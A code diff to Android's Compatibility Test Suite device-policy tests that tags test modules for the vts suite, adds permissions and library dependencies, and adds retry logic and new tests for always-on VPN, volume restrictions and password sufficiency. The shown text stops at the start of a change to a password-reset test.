diff --git a/hostsidetests/devicepolicy/app/AutofillApp/Android.mk b/hostsidetests/devicepolicy/app/AutofillApp/Android.mk
index 940c4a8..522b196 100644
--- a/hostsidetests/devicepolicy/app/AutofillApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/AutofillApp/Android.mk
@@ -25,13 +25,13 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsDevicePolicyAutofillApp
 
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/CertInstaller/Android.mk b/hostsidetests/devicepolicy/app/CertInstaller/Android.mk
index fa84415..23eb1f7 100644
--- a/hostsidetests/devicepolicy/app/CertInstaller/Android.mk
+++ b/hostsidetests/devicepolicy/app/CertInstaller/Android.mk
@@ -29,6 +29,6 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.mk b/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.mk
index 06c1f87..eec2e12 100644
--- a/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.mk
+++ b/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.mk
@@ -25,13 +25,13 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsContactDirectoryProvider
 
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk
index 05db43a..c8872b4 100644
--- a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk
@@ -39,7 +39,7 @@
 LOCAL_SDK_VERSION := test_current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
 
@@ -64,7 +64,7 @@
 LOCAL_SDK_VERSION := test_current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_AAPT_FLAGS += --rename-manifest-package com.android.cts.comp2 \
                     --rename-instrumentation-target-package com.android.cts.comp2
 
diff --git a/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk b/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk
index cb54cd7..1e6e2f1 100644
--- a/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk
@@ -16,7 +16,7 @@
 
 include $(CLEAR_VARS)
 
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsCustomizationApp
 
diff --git a/hostsidetests/devicepolicy/app/CustomizationApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CustomizationApp/AndroidManifest.xml
index f638adf..4b20829 100644
--- a/hostsidetests/devicepolicy/app/CustomizationApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/CustomizationApp/AndroidManifest.xml
@@ -19,6 +19,7 @@
 
     <uses-sdk android:minSdkVersion="24"/>
 
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.SET_WALLPAPER" />
 
     <application>
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/Android.mk b/hostsidetests/devicepolicy/app/DelegateApp/Android.mk
index fc316e6..a46eed8 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/DelegateApp/Android.mk
@@ -35,6 +35,6 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk
index 7d277d9..a8f4f05 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk
@@ -31,9 +31,11 @@
     compatibility-device-util \
     legacy-android-test
 
+LOCAL_JAVA_LIBRARIES := legacy-android-test
+
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk
index ab38265..4e2cfb6 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk
@@ -31,9 +31,11 @@
     compatibility-device-util \
     legacy-android-test
 
+LOCAL_JAVA_LIBRARIES := legacy-android-test
+
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package1/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/package1/Android.mk
index e874b8b..72d2bb0 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package1/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package1/Android.mk
@@ -31,6 +31,6 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package2/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/package2/Android.mk
index 1e4b9c7..e2f9b8d 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package2/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package2/Android.mk
@@ -31,6 +31,6 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package3/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/package3/Android.mk
index 6ee4acf..b88d537 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package3/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package3/Android.mk
@@ -31,6 +31,6 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package4/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/package4/Android.mk
index 68dc546..7f72ddf 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package4/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package4/Android.mk
@@ -31,6 +31,6 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/Android.mk
index 0207110..8c66638 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/Android.mk
@@ -31,6 +31,6 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk
index f8467c1..c818856 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
 
-LOCAL_JAVA_LIBRARIES = conscrypt
+LOCAL_JAVA_LIBRARIES = conscrypt legacy-android-test
 
 LOCAL_STATIC_JAVA_LIBRARIES = android-support-v4 compatibility-device-util ctstestrunner ub-uiautomator
 
@@ -33,6 +33,6 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk
index 8a0d559..1c50763 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
 
-LOCAL_JAVA_LIBRARIES = conscrypt
+LOCAL_JAVA_LIBRARIES = conscrypt legacy-android-test
 
 LOCAL_STATIC_JAVA_LIBRARIES = android-support-v4 compatibility-device-util ctstestrunner ub-uiautomator
 
@@ -33,6 +33,6 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk
index d3a78d2..81a23d2 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk
@@ -33,6 +33,6 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
index 93c052f..0dc8bc3 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
@@ -23,6 +23,7 @@
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
     <uses-permission android:name="android.permission.INTERNET" />
     <uses-permission android:name="android.permission.MANAGE_ACCOUNTS" />
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.SET_WALLPAPER" />
     <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnMultiStageTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnMultiStageTest.java
index 14f64d6..25d7be7 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnMultiStageTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnMultiStageTest.java
@@ -16,31 +16,43 @@
 
 package com.android.cts.deviceandprofileowner;
 
+import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.TEST_ADDRESS;
+import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.VPN_PACKAGE;
+
 import android.content.pm.PackageManager;
 import android.system.ErrnoException;
 import android.system.OsConstants;
 
 import com.android.cts.deviceandprofileowner.vpn.VpnTestHelper;
 
-import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.VPN_PACKAGE;
-import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.TEST_ADDRESS;
+import java.util.concurrent.TimeUnit;
 
 /**
  * Contains methods to test always-on VPN invoked by DeviceAndProfileOwnerTest
  */
 public class AlwaysOnVpnMultiStageTest extends BaseDeviceAdminTest {
 
+    private final int MAX_NUMBER_OF_ATTEMPTS = 5;
+
     public void testAlwaysOnSet() throws Exception {
         // Setup always-on vpn
-        VpnTestHelper.setAndWaitForVpn(mContext, VPN_PACKAGE, /* usable */ true);
+        VpnTestHelper.waitForVpn(mContext, VPN_PACKAGE, /* usable */ true);
         assertTrue(VpnTestHelper.isNetworkVpn(mContext));
         VpnTestHelper.checkPing(TEST_ADDRESS);
     }
 
+    public void testAlwaysOnSetAfterReboot() throws Exception {
+        VpnTestHelper.waitForVpn(mContext, null, /* usable */ true);
+        VpnTestHelper.checkPing(TEST_ADDRESS);
+    }
+
     public void testNetworkBlocked() throws Exception {
         // After the vpn app being force-stop, expect that always-on package stays the same
         assertEquals(VPN_PACKAGE, mDevicePolicyManager.getAlwaysOnVpnPackage(
                 ADMIN_RECEIVER_COMPONENT));
+        for(int i = 0; i < MAX_NUMBER_OF_ATTEMPTS && VpnTestHelper.isNetworkVpn(mContext); ++i) {
+            Thread.sleep(TimeUnit.SECONDS.toMillis(1));
+        }
         assertFalse(VpnTestHelper.isNetworkVpn(mContext));
         // Expect the network is still locked down after the vpn app process is killed
         try {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnTest.java
index 01a5a3a..fff701e 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnTest.java
@@ -16,14 +16,14 @@
 
 package com.android.cts.deviceandprofileowner;
 
+import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.TEST_ADDRESS;
+import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.VPN_PACKAGE;
+
 import android.os.Bundle;
 import android.os.UserManager;
 
 import com.android.cts.deviceandprofileowner.vpn.VpnTestHelper;
 
-import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.VPN_PACKAGE;
-import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.TEST_ADDRESS;
-
 /**
  * Validates that a device owner or profile owner can set an always-on VPN without user action.
  *
@@ -46,6 +46,8 @@
     @Override
     public void setUp() throws Exception {
         super.setUp();
+        // always-on is null by default
+        assertNull(mDevicePolicyManager.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
         mPackageName = mContext.getPackageName();
     }
 
@@ -60,7 +62,7 @@
         // test always-on is null by default
         assertNull(mDevicePolicyManager.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
 
-        VpnTestHelper.setAndWaitForVpn(mContext, VPN_PACKAGE, /* usable */ true);
+        VpnTestHelper.waitForVpn(mContext, VPN_PACKAGE, /* usable */ true);
         VpnTestHelper.checkPing(TEST_ADDRESS);
     }
 
@@ -81,7 +83,7 @@
         restrictions.putStringArray(RESTRICTION_ALLOWED, new String[] {mPackageName});
         mDevicePolicyManager.setApplicationRestrictions(ADMIN_RECEIVER_COMPONENT, VPN_PACKAGE,
                 restrictions);
-        VpnTestHelper.setAndWaitForVpn(mContext, VPN_PACKAGE, /* usable */ true);
+        VpnTestHelper.waitForVpn(mContext, VPN_PACKAGE, /* usable */ true);
         assertTrue(VpnTestHelper.isNetworkVpn(mContext));
     }
 
@@ -90,14 +92,11 @@
         restrictions.putStringArray(RESTRICTION_DISALLOWED, new String[] {mPackageName});
         mDevicePolicyManager.setApplicationRestrictions(ADMIN_RECEIVER_COMPONENT, VPN_PACKAGE,
                 restrictions);
-        VpnTestHelper.setAndWaitForVpn(mContext, VPN_PACKAGE, /* usable */ false);
+        VpnTestHelper.waitForVpn(mContext, VPN_PACKAGE, /* usable */ false);
         assertFalse(VpnTestHelper.isNetworkVpn(mContext));
     }
 
     public void testSetNonVpnAlwaysOn() throws Exception {
-        // test always-on is null by default
-        assertNull(mDevicePolicyManager.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
-
         // Treat this CTS DPC as an non-vpn app, since it doesn't register
         // android.net.VpnService intent filter in AndroidManifest.xml.
         try {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnUnsupportedTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnUnsupportedTest.java
new file mode 100644
index 0000000..488823a
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnUnsupportedTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.VPN_PACKAGE;
+
+/**
+ * Validates that a device owner or profile owner cannot enable the always-on feature for
+ * unsupported VPN apps.
+ *
+ * A VPN app does not support the always-on feature if it
+ * <ul>
+ *     <li>has a target SDK version below {@link android.os.Build.VERSION_CODES#N}, or</li>
+ *     <li>explicitly opts out of the feature through
+ *         {@link android.net.VpnService#SERVICE_META_DATA_SUPPORTS_ALWAYS_ON}</li>
+ * </ul>
+ */
+public class AlwaysOnVpnUnsupportedTest extends BaseDeviceAdminTest {
+
+    public void testAssertNoAlwaysOnVpn() throws Exception {
+        assertNull("Always-on VPN already exists",
+                mDevicePolicyManager.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
+    }
+
+    public void testClearAlwaysOnVpn() throws Exception {
+        mDevicePolicyManager.setAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT, null, false);
+        assertNull("Failed to clear always-on package",
+                mDevicePolicyManager.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
+    }
+
+    public void testSetSupportedVpnAlwaysOn() throws Exception {
+        testAssertNoAlwaysOnVpn();
+        mDevicePolicyManager.setAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT, VPN_PACKAGE, true);
+        assertEquals("Failed to set always-on package",
+                VPN_PACKAGE, mDevicePolicyManager.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
+    }
+
+    public void testSetUnsupportedVpnAlwaysOn() throws Exception {
+        testAssertNoAlwaysOnVpn();
+        try {
+            mDevicePolicyManager.setAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT, VPN_PACKAGE, true);
+            fail("setAlwaysOnVpnPackage should not accept an unsupported vpn package");
+        } catch (UnsupportedOperationException e) {
+            // success
+        }
+        assertNull(mDevicePolicyManager.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AssistScreenCaptureDisabledTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AssistScreenCaptureDisabledTest.java
index db54ac3..d076920 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AssistScreenCaptureDisabledTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AssistScreenCaptureDisabledTest.java
@@ -87,7 +87,11 @@
             Intent showSessionIntent = new Intent(ACTION_SHOW_SESSION);
             showSessionIntent.setPackage(ASSIST_PACKAGE);
             mContext.sendBroadcast(showSessionIntent);
-            Intent screenShotIntent = receiver.awaitForBroadcast();
+            Intent screenShotIntent = null;
+            for (int i = 0; i < MAX_ATTEMPTS_COUNT && (screenShotIntent == null); ++ i) {
+                Log.d(TAG, "has not received intent yet: wait for intent, attempt " + i);
+                screenShotIntent = receiver.awaitForBroadcast();
+            }
             Assert.assertNotNull(screenShotIntent);
             Assert.assertTrue(screenShotIntent.hasExtra(KEY_HAS_SCREENSHOT));
             assertEquals(possible, screenShotIntent.getBooleanExtra(KEY_HAS_SCREENSHOT, false));
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
index efc7115..d44b782 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
@@ -19,6 +19,8 @@
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.media.AudioManager;
+import android.media.MediaPlayer;
+import android.provider.Settings;
 import android.os.SystemClock;
 import android.os.UserManager;
 
@@ -82,9 +84,16 @@
             return;
         }
 
+        MediaPlayer mediaPlayer = new MediaPlayer();
+        mediaPlayer.setDataSource(mContext, Settings.System.DEFAULT_RINGTONE_URI);
+        mediaPlayer.setAudioStreamType(AudioManager.STREAM_MUSIC);
+        mediaPlayer.prepare();
+        mediaPlayer.setLooping(true);
+        mediaPlayer.start();
+
         try {
-            // Set volume of ringtone to be 1.
-            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 1, /* flag= */ 0);
+            // Set volume of music to be 1.
+            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, /* flag= */ 0);
 
             // Disallow adjusting volume.
             mDevicePolicyManager.addUserRestriction(ADMIN_RECEIVER_COMPONENT,
@@ -93,7 +102,7 @@
 
             // Verify that volume can't be changed.
             mAudioManager.adjustVolume(AudioManager.ADJUST_RAISE, /* flag= */ 0);
-            assertEquals(1, mAudioManager.getStreamVolume(AudioManager.STREAM_RING));
+            assertEquals(1, mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC));
 
             // Allowing adjusting volume.
             mDevicePolicyManager.clearUserRestriction(ADMIN_RECEIVER_COMPONENT,
@@ -105,7 +114,7 @@
             waitUntil(2, new Callable<Integer>() {
                 @Override
                 public Integer call() throws Exception {
-                    return mAudioManager.getStreamVolume(AudioManager.STREAM_RING);
+                    return mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
                 }
             });
         } finally {
@@ -114,6 +123,10 @@
                     UserManager.DISALLOW_ADJUST_VOLUME);
             waitUntil(false, mCheckIfMasterVolumeMuted);
         }
+
+        mediaPlayer.stop();
+        mediaPlayer.release();
+        mediaPlayer = null;
     }
 
     public void testDisallowUnmuteMicrophone() throws Exception {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java
index 8babe14..5728cf6 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java
@@ -17,6 +17,7 @@
 package com.android.cts.deviceandprofileowner;
 
 import static android.provider.Settings.Secure.AUTOFILL_SERVICE;
+import static android.provider.Settings.Secure.USER_SETUP_COMPLETE;
 
 import android.content.Intent;
 import static android.os.UserManager.DISALLOW_AUTOFILL;
@@ -28,9 +29,6 @@
     private static final String AUTOFILL_PACKAGE_NAME = "com.android.cts.devicepolicy.autofillapp";
     private static final String AUTOFILL_ACTIVITY_NAME = AUTOFILL_PACKAGE_NAME + ".SimpleActivity";
 
-    // TODO: should static import Settings.Secure instead, but that's not a @TestApi
-    private static String USER_SETUP_COMPLETE = "user_setup_complete";
-
     // Currently, autofill_service is a cloned service, so it's only set in the default user.
     // That might change, so we're using a guard to decide how to set it
     private final boolean USES_CLONED_SETTINGS = true;
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
index 77214cb..1c4230b 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
@@ -85,4 +85,19 @@
             throw new RuntimeException("Command '" + command + "' failed: ", e);
         }
     }
+
+    protected void assertPasswordSufficiency(boolean expectPasswordSufficient) {
+        int retries = 15;
+        // isActivePasswordSufficient() gets the result asynchronously so let's retry a few times
+        while (retries >= 0
+                && mDevicePolicyManager.isActivePasswordSufficient() != expectPasswordSufficient) {
+            retries--;
+            try {
+                Thread.sleep(200);
+            } catch (InterruptedException e) {
+                break;
+            }
+        }
+        assertEquals(expectPasswordSufficient, mDevicePolicyManager.isActivePasswordSufficient());
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordSufficientInitiallyTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordSufficientInitiallyTest.java
new file mode 100644
index 0000000..fa4a6a7
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordSufficientInitiallyTest.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+
+public class PasswordSufficientInitiallyTest extends BaseDeviceAdminTest {
+
+    public void testPasswordSufficientInitially() {
+        assertPasswordSufficiency(true);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
index 9e4744c..93ea709 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
@@ -15,63 +15,154 @@
  */
 package com.android.cts.deviceandprofileowner;
 
+import android.app.KeyguardManager;
